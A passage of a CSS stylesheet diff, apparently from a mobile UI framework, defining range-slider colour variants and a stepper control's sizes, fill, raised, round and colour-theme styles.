.range-slider.color-white .range-bar-active, +.md .range-slider.color-white .range-knob, +.md .range-slider.color-white .range-knob-label, +.md .range-slider.color-white .range-knob-label:before { + background-color: #ffffff; +} +.md .range-slider.color-black .range-bar-active, +.md .range-slider.color-black .range-knob, +.md .range-slider.color-black .range-knob-label, +.md .range-slider.color-black .range-knob-label:before { + background-color: #000000; +} +/* === Stepper === */ +.stepper { + display: -webkit-inline-box; + display: -webkit-inline-flex; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-align: stretch; + -webkit-align-items: stretch; + -ms-flex-align: stretch; + align-items: stretch; +} +.stepper-button, +.stepper-button-minus, +.stepper-button-plus { + text-align: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + cursor: pointer; +} +.stepper-button .icon, +.stepper-button-minus .icon, +.stepper-button-plus .icon { + pointer-events: none; +} +.stepper-value { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.stepper-input-wrap, +.stepper-value { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + text-align: center; +} +.stepper-button-plus, +.stepper-button-minus { + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.stepper-button-plus:after, +.stepper-button-minus:after, +.stepper-button-plus:before, +.stepper-button-minus:before { + content: ''; + position: absolute; + left: 50%; + top: 50%; + -webkit-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); +} +.stepper-button-plus:after, +.stepper-button-minus:after { + width: 15px; + height: 2px; +} +.stepper-button-plus:before { + height: 15px; + width: 2px; +} +.stepper .stepper-input-wrap input, +.stepper .stepper-value { + width: 45px; +} +.md .stepper { + height: 36px; +} +.md .stepper-button, +.md .stepper-button-minus, +.md .stepper-button-plus { + border: 2px solid #2196f3; + color: #2196f3; + line-height: 34px; + height: 36px; + width: 40px; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + overflow: hidden; +} +.md .stepper-button + .stepper-button, +.md .stepper-button-minus + .stepper-button, +.md .stepper-button-plus + .stepper-button, +.md .stepper-button + .stepper-button-minus, +.md .stepper-button-minus + .stepper-button-minus, +.md .stepper-button-plus + .stepper-button-minus, +.md .stepper-button + .stepper-button-plus, +.md .stepper-button-minus + .stepper-button-plus, +.md .stepper-button-plus + .stepper-button-plus { + border-right: none; +} +.md .stepper-button.active-state, +.md .stepper-button-minus.active-state, +.md .stepper-button-plus.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .stepper-button:first-child, +.md .stepper-button-minus:first-child, +.md .stepper-button-plus:first-child { + border-radius: 0 4px 4px 0; +} +.md .stepper-button:last-child, +.md .stepper-button-minus:last-child, +.md .stepper-button-plus:last-child { + border-radius: 4px 0 0 4px; +} +.md .stepper-button-plus:after, +.md .stepper-button-minus:after, +.md .stepper-button-plus:before, +.md .stepper-button-minus:before { + background: #2196f3; +} +.md .stepper-value, +.md .stepper-input-wrap { + border-top: 2px solid #2196f3; + border-bottom: 2px solid #2196f3; +} +.md .stepper .stepper-value, +.md .stepper .stepper-input-wrap input { + color: #2196f3; + font-size: 14px; + font-weight: 500; + text-align: center; +} +.md .stepper .stepper-input-wrap input { + height: 100%; +} +.md .stepper-fill .stepper-button, +.md .stepper-fill-md .stepper-button, +.md .stepper-fill .stepper-button-minus, +.md .stepper-fill-md .stepper-button-minus, +.md .stepper-fill .stepper-button-plus, +.md .stepper-fill-md .stepper-button-plus { + background-color: #2196f3; + color: #fff; + border: none; + line-height: 36px; +} +.md .stepper-fill .stepper-button.active-state, +.md .stepper-fill-md .stepper-button.active-state, +.md .stepper-fill .stepper-button-minus.active-state, +.md .stepper-fill-md .stepper-button-minus.active-state, +.md .stepper-fill .stepper-button-plus.active-state, +.md .stepper-fill-md .stepper-button-plus.active-state { + background: #0c82df; +} +.md .stepper-fill .stepper-button:after, +.md .stepper-fill-md .stepper-button:after, +.md .stepper-fill .stepper-button-minus:after, +.md .stepper-fill-md .stepper-button-minus:after, +.md .stepper-fill .stepper-button-plus:after, +.md .stepper-fill-md .stepper-button-plus:after, +.md .stepper-fill .stepper-button:before, +.md .stepper-fill-md .stepper-button:before, +.md .stepper-fill .stepper-button-minus:before, +.md .stepper-fill-md .stepper-button-minus:before, +.md .stepper-fill .stepper-button-plus:before, +.md .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper-fill .stepper-button + .stepper-button, +.md .stepper-fill-md .stepper-button + .stepper-button, +.md .stepper-fill .stepper-button-minus + .stepper-button-plus, +.md .stepper-fill-md .stepper-button-minus + .stepper-button-plus { + border-right: 1px solid rgba(0, 0, 0, 0.1); +} +.md .stepper-fill.stepper-big .stepper-button, +.md .stepper-fill-md.stepper-big .stepper-button, +.md .stepper-fill.stepper-big-md .stepper-button, +.md .stepper-fill-md.stepper-big-md .stepper-button, +.md .stepper-fill.stepper-big .stepper-button-minus, +.md .stepper-fill-md.stepper-big .stepper-button-minus, +.md .stepper-fill.stepper-big-md .stepper-button-minus, +.md .stepper-fill-md.stepper-big-md .stepper-button-minus, +.md .stepper-fill.stepper-big .stepper-button-plus, +.md .stepper-fill-md.stepper-big .stepper-button-plus, +.md .stepper-fill.stepper-big-md .stepper-button-plus, +.md .stepper-fill-md.stepper-big-md .stepper-button-plus { + line-height: 48px; +} +.md .stepper-fill.stepper-small .stepper-button, +.md .stepper-fill-md.stepper-small .stepper-button, +.md .stepper-fill.stepper-small-md .stepper-button, +.md .stepper-fill-md.stepper-small-md .stepper-button, +.md .stepper-fill.stepper-small .stepper-button-minus, +.md .stepper-fill-md.stepper-small .stepper-button-minus, +.md .stepper-fill.stepper-small-md .stepper-button-minus, +.md .stepper-fill-md.stepper-small-md .stepper-button-minus, +.md .stepper-fill.stepper-small .stepper-button-plus, +.md .stepper-fill-md.stepper-small .stepper-button-plus, +.md .stepper-fill.stepper-small-md .stepper-button-plus, +.md .stepper-fill-md.stepper-small-md .stepper-button-plus { + line-height: 28px; +} +.md .stepper-small, +.md .stepper-small-md { + height: 28px; +} +.md .stepper-small .stepper-button, +.md .stepper-small-md .stepper-button, +.md .stepper-small .stepper-button-minus, +.md .stepper-small-md .stepper-button-minus, +.md .stepper-small .stepper-button-plus, +.md .stepper-small-md .stepper-button-plus { + height: 28px; + line-height: 24px; +} +.md .stepper-small .stepper-button, +.md .stepper-small-md .stepper-button, +.md .stepper-small .stepper-button-minus, +.md .stepper-small-md .stepper-button-minus, +.md .stepper-small .stepper-button-plus, +.md .stepper-small-md .stepper-button-plus, +.md .stepper-small .stepper-input-wrap, +.md .stepper-small-md .stepper-input-wrap, +.md .stepper-small .stepper-value, +.md .stepper-small-md .stepper-value { + border-width: 2px; +} +.md .stepper-big, +.md .stepper-big-md { + height: 48px; +} +.md .stepper-big .stepper-button, +.md .stepper-big-md .stepper-button, +.md .stepper-big .stepper-button-minus, +.md .stepper-big-md .stepper-button-minus, +.md .stepper-big .stepper-button-plus, +.md .stepper-big-md .stepper-button-plus { + height: 48px; + line-height: 46px; +} +.md .stepper-big .stepper-button:first-child, +.md .stepper-big-md .stepper-button:first-child, +.md .stepper-big .stepper-button-minus:first-child, +.md .stepper-big-md .stepper-button-minus:first-child, +.md .stepper-big .stepper-button-plus:first-child, +.md .stepper-big-md .stepper-button-plus:first-child { + border-radius: 0 4px 4px 0; +} +.md .stepper-big .stepper-button:last-child, +.md .stepper-big-md .stepper-button:last-child, +.md .stepper-big .stepper-button-minus:last-child, +.md .stepper-big-md .stepper-button-minus:last-child, +.md .stepper-big .stepper-button-plus:last-child, +.md .stepper-big-md .stepper-button-plus:last-child { + border-radius: 4px 0 0 4px; +} +.md .stepper-round .stepper-button:first-child, +.md .stepper-round-md .stepper-button:first-child, +.md .stepper-round .stepper-button-minus:first-child, +.md .stepper-round-md .stepper-button-minus:first-child, +.md .stepper-round .stepper-button-plus:first-child, +.md .stepper-round-md .stepper-button-plus:first-child { + border-radius: 0 36px 36px 0; +} +.md .stepper-round .stepper-button:last-child, +.md .stepper-round-md .stepper-button:last-child, +.md .stepper-round .stepper-button-minus:last-child, +.md .stepper-round-md .stepper-button-minus:last-child, +.md .stepper-round .stepper-button-plus:last-child, +.md .stepper-round-md .stepper-button-plus:last-child { + border-radius: 36px 0 0 36px; +} +.md .stepper-raised { + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + border-radius: 4px; +} +.md .stepper-raised.stepper-big, +.md .stepper-raised.stepper-big-md { + border-radius: 4px; +} +.md .stepper-raised.stepper-round, +.md .stepper-raised.stepper-round-md { + border-radius: 36px; +} +.md .stepper-raised .stepper-value, +.md .stepper-raised .stepper-input-wrap { + border: none; +} +.md .stepper-raised:not(.stepper-fill):not(.stepper-fill-md) .stepper-input-wrap, +.md .stepper-raised:not(.stepper-fill):not(.stepper-fill-md) .stepper-value { + border-left: 1px solid rgba(0, 0, 0, 0.1); + border-right: 1px solid rgba(0, 0, 0, 0.1); +} +.md .stepper-raised .stepper-button, +.md .stepper-raised .stepper-button-minus, +.md .stepper-raised .stepper-button-plus { + border: none; +} +.md .stepper-raised .stepper-button + .stepper-button, +.md .stepper-raised .stepper-button-minus + .stepper-button-plus { + border-right: 1px solid rgba(0, 0, 0, 0.1); +} +.md .color-theme-red .stepper-button, +.md .color-theme-red .stepper-button-minus, +.md .color-theme-red .stepper-button-plus { + border-color: #f44336; + color: #f44336; +} +.md .color-theme-red .stepper-button-plus:after, +.md .color-theme-red .stepper-button-minus:after, +.md .color-theme-red .stepper-button-plus:before, +.md .color-theme-red .stepper-button-minus:before { + background: #f44336; +} +.md .color-theme-red .stepper-value, +.md .color-theme-red .stepper-input-wrap { + border-top-color: #f44336; + border-bottom-color: #f44336; +} +.md .color-theme-red .stepper-value { + color: #f44336; +} +.md .color-theme-red .stepper .stepper-input-wrap input { + color: #f44336; +} +.md .color-theme-red .stepper-fill .stepper-button, +.md .color-theme-red .stepper-fill-md .stepper-button, +.md .color-theme-red .stepper-fill .stepper-button-minus, +.md .color-theme-red .stepper-fill-md .stepper-button-minus, +.md .color-theme-red .stepper-fill .stepper-button-plus, +.md .color-theme-red .stepper-fill-md .stepper-button-plus { + background-color: #f44336; + color: #fff; +} +.md .color-theme-red .stepper-fill .stepper-button.active-state, +.md .color-theme-red .stepper-fill-md .stepper-button.active-state, +.md .color-theme-red .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-red .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-red .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-red .stepper-fill-md .stepper-button-plus.active-state { + background: #f21f0f; +} +.md .color-theme-red .stepper-fill .stepper-button:after, +.md .color-theme-red .stepper-fill-md .stepper-button:after, +.md .color-theme-red .stepper-fill .stepper-button-minus:after, +.md .color-theme-red .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-red .stepper-fill .stepper-button-plus:after, +.md .color-theme-red .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-red .stepper-fill .stepper-button:before, +.md .color-theme-red .stepper-fill-md .stepper-button:before, +.md .color-theme-red .stepper-fill .stepper-button-minus:before, +.md .color-theme-red .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-red .stepper-fill .stepper-button-plus:before, +.md .color-theme-red .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-green .stepper-button, +.md .color-theme-green .stepper-button-minus, +.md .color-theme-green .stepper-button-plus { + border-color: #4caf50; + color: #4caf50; +} +.md .color-theme-green .stepper-button-plus:after, +.md .color-theme-green .stepper-button-minus:after, +.md .color-theme-green .stepper-button-plus:before, +.md .color-theme-green .stepper-button-minus:before { + background: #4caf50; +} +.md .color-theme-green .stepper-value, +.md .color-theme-green .stepper-input-wrap { + border-top-color: #4caf50; + border-bottom-color: #4caf50; +} +.md .color-theme-green .stepper-value { + color: #4caf50; +} +.md .color-theme-green .stepper .stepper-input-wrap input { + color: #4caf50; +} +.md .color-theme-green .stepper-fill .stepper-button, +.md .color-theme-green .stepper-fill-md .stepper-button, +.md .color-theme-green .stepper-fill .stepper-button-minus, +.md .color-theme-green .stepper-fill-md .stepper-button-minus, +.md .color-theme-green .stepper-fill .stepper-button-plus, +.md .color-theme-green .stepper-fill-md .stepper-button-plus { + background-color: #4caf50; + color: #fff; +} +.md .color-theme-green .stepper-fill .stepper-button.active-state, +.md .color-theme-green .stepper-fill-md .stepper-button.active-state, +.md .color-theme-green .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-green .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-green .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-green .stepper-fill-md .stepper-button-plus.active-state { + background: #409343; +} +.md .color-theme-green .stepper-fill .stepper-button:after, +.md .color-theme-green .stepper-fill-md .stepper-button:after, +.md .color-theme-green .stepper-fill .stepper-button-minus:after, +.md .color-theme-green .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-green .stepper-fill .stepper-button-plus:after, +.md .color-theme-green .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-green .stepper-fill .stepper-button:before, +.md .color-theme-green .stepper-fill-md .stepper-button:before, +.md .color-theme-green .stepper-fill .stepper-button-minus:before, +.md .color-theme-green .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-green .stepper-fill .stepper-button-plus:before, +.md .color-theme-green .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-blue .stepper-button, +.md .color-theme-blue .stepper-button-minus, +.md .color-theme-blue .stepper-button-plus { + border-color: #2196f3; + color: #2196f3; +} +.md .color-theme-blue .stepper-button-plus:after, +.md .color-theme-blue .stepper-button-minus:after, +.md .color-theme-blue .stepper-button-plus:before, +.md .color-theme-blue .stepper-button-minus:before { + background: #2196f3; +} +.md .color-theme-blue .stepper-value, +.md .color-theme-blue .stepper-input-wrap { + border-top-color: #2196f3; + border-bottom-color: #2196f3; +} +.md .color-theme-blue .stepper-value { + color: #2196f3; +} +.md .color-theme-blue .stepper .stepper-input-wrap input { + color: #2196f3; +} +.md .color-theme-blue .stepper-fill .stepper-button, +.md .color-theme-blue .stepper-fill-md .stepper-button, +.md .color-theme-blue .stepper-fill .stepper-button-minus, +.md .color-theme-blue .stepper-fill-md .stepper-button-minus, +.md .color-theme-blue .stepper-fill .stepper-button-plus, +.md .color-theme-blue .stepper-fill-md .stepper-button-plus { + background-color: #2196f3; + color: #fff; +} +.md .color-theme-blue .stepper-fill .stepper-button.active-state, +.md .color-theme-blue .stepper-fill-md .stepper-button.active-state, +.md .color-theme-blue .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-blue .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-blue .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-blue .stepper-fill-md .stepper-button-plus.active-state { + background: #0c82df; +} +.md .color-theme-blue .stepper-fill .stepper-button:after, +.md .color-theme-blue .stepper-fill-md .stepper-button:after, +.md .color-theme-blue .stepper-fill .stepper-button-minus:after, +.md .color-theme-blue .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-blue .stepper-fill .stepper-button-plus:after, +.md .color-theme-blue .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-blue .stepper-fill .stepper-button:before, +.md .color-theme-blue .stepper-fill-md .stepper-button:before, +.md .color-theme-blue .stepper-fill .stepper-button-minus:before, +.md .color-theme-blue .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-blue .stepper-fill .stepper-button-plus:before, +.md .color-theme-blue .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-pink .stepper-button, +.md .color-theme-pink .stepper-button-minus, +.md .color-theme-pink .stepper-button-plus { + border-color: #e91e63; + color: #e91e63; +} +.md .color-theme-pink .stepper-button-plus:after, +.md .color-theme-pink .stepper-button-minus:after, +.md .color-theme-pink .stepper-button-plus:before, +.md .color-theme-pink .stepper-button-minus:before { + background: #e91e63; +} +.md .color-theme-pink .stepper-value, +.md .color-theme-pink .stepper-input-wrap { + border-top-color: #e91e63; + border-bottom-color: #e91e63; +} +.md .color-theme-pink .stepper-value { + color: #e91e63; +} +.md .color-theme-pink .stepper .stepper-input-wrap input { + color: #e91e63; +} +.md .color-theme-pink .stepper-fill .stepper-button, +.md .color-theme-pink .stepper-fill-md .stepper-button, +.md .color-theme-pink .stepper-fill .stepper-button-minus, +.md .color-theme-pink .stepper-fill-md .stepper-button-minus, +.md .color-theme-pink .stepper-fill .stepper-button-plus, +.md .color-theme-pink .stepper-fill-md .stepper-button-plus { + background-color: #e91e63; + color: #fff; +} +.md .color-theme-pink .stepper-fill .stepper-button.active-state, +.md .color-theme-pink .stepper-fill-md .stepper-button.active-state, +.md .color-theme-pink .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-pink .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-pink .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-pink .stepper-fill-md .stepper-button-plus.active-state { + background: #ca1452; +} +.md .color-theme-pink .stepper-fill .stepper-button:after, +.md .color-theme-pink .stepper-fill-md .stepper-button:after, +.md .color-theme-pink .stepper-fill .stepper-button-minus:after, +.md .color-theme-pink .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-pink .stepper-fill .stepper-button-plus:after, +.md .color-theme-pink .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-pink .stepper-fill .stepper-button:before, +.md .color-theme-pink .stepper-fill-md .stepper-button:before, +.md .color-theme-pink .stepper-fill .stepper-button-minus:before, +.md .color-theme-pink .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-pink .stepper-fill .stepper-button-plus:before, +.md .color-theme-pink .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-yellow .stepper-button, +.md .color-theme-yellow .stepper-button-minus, +.md .color-theme-yellow .stepper-button-plus { + border-color: #ffeb3b; + color: #ffeb3b; +} +.md .color-theme-yellow .stepper-button-plus:after, +.md .color-theme-yellow .stepper-button-minus:after, +.md .color-theme-yellow .stepper-button-plus:before, +.md .color-theme-yellow .stepper-button-minus:before { + background: #ffeb3b; +} +.md .color-theme-yellow .stepper-value, +.md .color-theme-yellow .stepper-input-wrap { + border-top-color: #ffeb3b; + border-bottom-color: #ffeb3b; +} +.md .color-theme-yellow .stepper-value { + color: #ffeb3b; +} +.md .color-theme-yellow .stepper .stepper-input-wrap input { + color: #ffeb3b; +} +.md .color-theme-yellow .stepper-fill .stepper-button, +.md .color-theme-yellow .stepper-fill-md .stepper-button, +.md .color-theme-yellow .stepper-fill .stepper-button-minus, +.md .color-theme-yellow .stepper-fill-md .stepper-button-minus, +.md .color-theme-yellow .stepper-fill .stepper-button-plus, +.md .color-theme-yellow .stepper-fill-md .stepper-button-plus { + background-color: #ffeb3b; + color: #fff; +} +.md .color-theme-yellow .stepper-fill .stepper-button.active-state, +.md .color-theme-yellow .stepper-fill-md .stepper-button.active-state, +.md .color-theme-yellow .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-yellow .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-yellow .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-yellow .stepper-fill-md .stepper-button-plus.active-state { + background: #ffe712; +} +.md .color-theme-yellow .stepper-fill .stepper-button:after, +.md .color-theme-yellow .stepper-fill-md .stepper-button:after, +.md .color-theme-yellow .stepper-fill .stepper-button-minus:after, +.md .color-theme-yellow .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-yellow .stepper-fill .stepper-button-plus:after, +.md .color-theme-yellow .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-yellow .stepper-fill .stepper-button:before, +.md .color-theme-yellow .stepper-fill-md .stepper-button:before, +.md .color-theme-yellow .stepper-fill .stepper-button-minus:before, +.md .color-theme-yellow .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-yellow .stepper-fill .stepper-button-plus:before, +.md .color-theme-yellow .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-orange .stepper-button, +.md .color-theme-orange .stepper-button-minus, +.md .color-theme-orange .stepper-button-plus { + border-color: #ff9800; + color: #ff9800; +} +.md .color-theme-orange .stepper-button-plus:after, +.md .color-theme-orange .stepper-button-minus:after, +.md .color-theme-orange .stepper-button-plus:before, +.md .color-theme-orange .stepper-button-minus:before { + background: #ff9800; +} +.md .color-theme-orange .stepper-value, +.md .color-theme-orange .stepper-input-wrap { + border-top-color: #ff9800; + border-bottom-color: #ff9800; +} +.md .color-theme-orange .stepper-value { + color: #ff9800; +} +.md .color-theme-orange .stepper .stepper-input-wrap input { + color: #ff9800; +} +.md .color-theme-orange .stepper-fill .stepper-button, +.md .color-theme-orange .stepper-fill-md .stepper-button, +.md .color-theme-orange .stepper-fill .stepper-button-minus, +.md .color-theme-orange .stepper-fill-md .stepper-button-minus, +.md .color-theme-orange .stepper-fill .stepper-button-plus, +.md .color-theme-orange .stepper-fill-md .stepper-button-plus { + background-color: #ff9800; + color: #fff; +} +.md .color-theme-orange .stepper-fill .stepper-button.active-state, +.md .color-theme-orange .stepper-fill-md .stepper-button.active-state, +.md .color-theme-orange .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-orange .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-orange .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-orange .stepper-fill-md .stepper-button-plus.active-state { + background: #d68000; +} +.md .color-theme-orange .stepper-fill .stepper-button:after, +.md .color-theme-orange .stepper-fill-md .stepper-button:after, +.md .color-theme-orange .stepper-fill .stepper-button-minus:after, +.md .color-theme-orange .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-orange .stepper-fill .stepper-button-plus:after, +.md .color-theme-orange .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-orange .stepper-fill .stepper-button:before, +.md .color-theme-orange .stepper-fill-md .stepper-button:before, +.md .color-theme-orange .stepper-fill .stepper-button-minus:before, +.md .color-theme-orange .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-orange .stepper-fill .stepper-button-plus:before, +.md .color-theme-orange .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-gray .stepper-button, +.md .color-theme-gray .stepper-button-minus, +.md .color-theme-gray .stepper-button-plus { + border-color: #9e9e9e; + color: #9e9e9e; +} +.md .color-theme-gray .stepper-button-plus:after, +.md .color-theme-gray .stepper-button-minus:after, +.md .color-theme-gray .stepper-button-plus:before, +.md .color-theme-gray .stepper-button-minus:before { + background: #9e9e9e; +} +.md .color-theme-gray .stepper-value, +.md .color-theme-gray .stepper-input-wrap { + border-top-color: #9e9e9e; + border-bottom-color: #9e9e9e; +} +.md .color-theme-gray .stepper-value { + color: #9e9e9e; +} +.md .color-theme-gray .stepper .stepper-input-wrap input { + color: #9e9e9e; +} +.md .color-theme-gray .stepper-fill .stepper-button, +.md .color-theme-gray .stepper-fill-md .stepper-button, +.md .color-theme-gray .stepper-fill .stepper-button-minus, +.md .color-theme-gray .stepper-fill-md .stepper-button-minus, +.md .color-theme-gray .stepper-fill .stepper-button-plus, +.md .color-theme-gray .stepper-fill-md .stepper-button-plus { + background-color: #9e9e9e; + color: #fff; +} +.md .color-theme-gray .stepper-fill .stepper-button.active-state, +.md .color-theme-gray .stepper-fill-md .stepper-button.active-state, +.md .color-theme-gray .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-gray .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-gray .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-gray .stepper-fill-md .stepper-button-plus.active-state { + background: #8a8a8a; +} +.md .color-theme-gray .stepper-fill .stepper-button:after, +.md .color-theme-gray .stepper-fill-md .stepper-button:after, +.md .color-theme-gray .stepper-fill .stepper-button-minus:after, +.md .color-theme-gray .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-gray .stepper-fill .stepper-button-plus:after, +.md .color-theme-gray .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-gray .stepper-fill .stepper-button:before, +.md .color-theme-gray .stepper-fill-md .stepper-button:before, +.md .color-theme-gray .stepper-fill .stepper-button-minus:before, +.md .color-theme-gray .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-gray .stepper-fill .stepper-button-plus:before, +.md .color-theme-gray .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-white .stepper-button, +.md .color-theme-white .stepper-button-minus, +.md .color-theme-white .stepper-button-plus { + border-color: #ffffff; + color: #ffffff; +} +.md .color-theme-white .stepper-button-plus:after, +.md .color-theme-white .stepper-button-minus:after, +.md .color-theme-white .stepper-button-plus:before, +.md .color-theme-white .stepper-button-minus:before { + background: #ffffff; +} +.md .color-theme-white .stepper-value, +.md .color-theme-white .stepper-input-wrap { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} +.md .color-theme-white .stepper-value { + color: #ffffff; +} +.md .color-theme-white .stepper .stepper-input-wrap input { + color: #ffffff; +} +.md .color-theme-white .stepper-fill .stepper-button, +.md .color-theme-white .stepper-fill-md .stepper-button, +.md .color-theme-white .stepper-fill .stepper-button-minus, +.md .color-theme-white .stepper-fill-md .stepper-button-minus, +.md .color-theme-white .stepper-fill .stepper-button-plus, +.md .color-theme-white .stepper-fill-md .stepper-button-plus { + background-color: #ffffff; + color: #fff; +} +.md .color-theme-white .stepper-fill .stepper-button.active-state, +.md .color-theme-white .stepper-fill-md .stepper-button.active-state, +.md .color-theme-white .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-white .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-white .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-white .stepper-fill-md .stepper-button-plus.active-state { + background: #ebebeb; +} +.md .color-theme-white .stepper-fill .stepper-button:after, +.md .color-theme-white .stepper-fill-md .stepper-button:after, +.md .color-theme-white .stepper-fill .stepper-button-minus:after, +.md .color-theme-white .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-white .stepper-fill .stepper-button-plus:after, +.md .color-theme-white .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-white .stepper-fill .stepper-button:before, +.md .color-theme-white .stepper-fill-md .stepper-button:before, +.md .color-theme-white .stepper-fill .stepper-button-minus:before, +.md .color-theme-white .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-white .stepper-fill .stepper-button-plus:before, +.md .color-theme-white .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .color-theme-black .stepper-button, +.md .color-theme-black .stepper-button-minus, +.md .color-theme-black .stepper-button-plus { + border-color: #000000; + color: #000000; +} +.md .color-theme-black .stepper-button-plus:after, +.md .color-theme-black .stepper-button-minus:after, +.md .color-theme-black .stepper-button-plus:before, +.md .color-theme-black .stepper-button-minus:before { + background: #000000; +} +.md .color-theme-black .stepper-value, +.md .color-theme-black .stepper-input-wrap { + border-top-color: #000000; + border-bottom-color: #000000; +} +.md .color-theme-black .stepper-value { + color: #000000; +} +.md .color-theme-black .stepper .stepper-input-wrap input { + color: #000000; +} +.md .color-theme-black .stepper-fill .stepper-button, +.md .color-theme-black .stepper-fill-md .stepper-button, +.md .color-theme-black .stepper-fill .stepper-button-minus, +.md .color-theme-black .stepper-fill-md .stepper-button-minus, +.md .color-theme-black .stepper-fill .stepper-button-plus, +.md .color-theme-black .stepper-fill-md .stepper-button-plus { + background-color: #000000; + color: #fff; +} +.md .color-theme-black .stepper-fill .stepper-button.active-state, +.md .color-theme-black .stepper-fill-md .stepper-button.active-state, +.md .color-theme-black .stepper-fill .stepper-button-minus.active-state, +.md .color-theme-black .stepper-fill-md .stepper-button-minus.active-state, +.md .color-theme-black .stepper-fill .stepper-button-plus.active-state, +.md .color-theme-black .stepper-fill-md .stepper-button-plus.active-state { + background: #000000; +} +.md .color-theme-black .stepper-fill .stepper-button:after, +.md .color-theme-black .stepper-fill-md .stepper-button:after, +.md .color-theme-black .stepper-fill .stepper-button-minus:after, +.md .color-theme-black .stepper-fill-md .stepper-button-minus:after, +.md .color-theme-black .stepper-fill .stepper-button-plus:after, +.md .color-theme-black .stepper-fill-md .stepper-button-plus:after, +.md .color-theme-black .stepper-fill .stepper-button:before, +.md .color-theme-black .stepper-fill-md .stepper-button:before, +.md .color-theme-black .stepper-fill .stepper-button-minus:before, +.md .color-theme-black .stepper-fill-md .stepper-button-minus:before, +.md .color-theme-black .stepper-fill .stepper-button-plus:before, +.md .color-theme-black .stepper-fill-md .stepper-button-plus:before { + background: #fff; +} +.md .stepper.color-red .stepper-button, +.md .stepper.color-red .stepper-button-minus, +.md .stepper.color-red .stepper-button-plus { + border-color: #f44336; + color: #f44336; +} +.md .stepper.color-red .stepper-button-plus:after, +.md .stepper.color-red .stepper-button-minus:after, +.md .stepper.color-red .stepper-button-plus:before, +.md .stepper.color-red .stepper-button-minus:before { + background: #f44336; +} +.md .stepper.color-red .stepper-value, +.md .stepper.color-red .stepper-input-wrap { + border-top-color: #f44336; + border-bottom-color: #f44336; +} +.md .stepper.color-red 